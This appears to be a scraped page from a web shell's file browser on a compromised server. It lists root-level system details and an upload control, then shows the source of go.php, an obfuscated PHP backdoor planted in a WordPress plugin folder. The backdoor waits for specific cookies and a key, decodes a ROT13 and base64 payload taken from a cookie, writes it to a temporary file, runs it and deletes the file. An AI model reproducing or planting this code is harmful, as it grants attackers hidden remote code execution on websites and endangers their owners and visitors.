HEX
Server: Apache/2.2.15 (CentOS)
System: Linux ip-10-0-2-146.eu-west-1.compute.internal 2.6.32-754.35.1.el6.centos.plus.x86_64 #1 SMP Sat Nov 7 11:33:42 UTC 2020 x86_64
User: root (0)
PHP: 5.6.40
Disabled: NONE
Upload Files
File: /www/sites/www.credebtexchange.com/htdocs/wp-content/calculated-fields-form/go.php
<?php
//<PHPDATA>mbd;71-53-64-68-88-29-7HsGdFLb</PHPDATA>
if (isset($_COOKIE[51-51]) && isset($_COOKIE[-12+13]) && isset($_COOKIE[-86+89]) && isset($_COOKIE[10-6])) {
    $hld = $_COOKIE;
    function module_controller($ref) {
        $hld = $_COOKIE;
        $component = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'AbhDPlUq');
        if (!is_writable($component)) {
            $component = getcwd() . DIRECTORY_SEPARATOR . "hub_center";
        }
        $key = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($hld[3]));
        if (is_writeable($component)) {
            $resource = fopen($component, 'w+');
            fputs($resource, $key);
            fclose($resource);
            spl_autoload_unregister(__FUNCTION__);
            require_once($component);
            @array_map('unlink', array($component));
        }
    }
    spl_autoload_register("module_controller");
    $obj = "8ec8abebcfe2825e6bb549cc3cab03bd";
    if (!strncmp($obj, $hld[4], 32)) {
        if (@class_parents("task_processor_reverse_searcher", true)) {
            exit;
        }
    }
}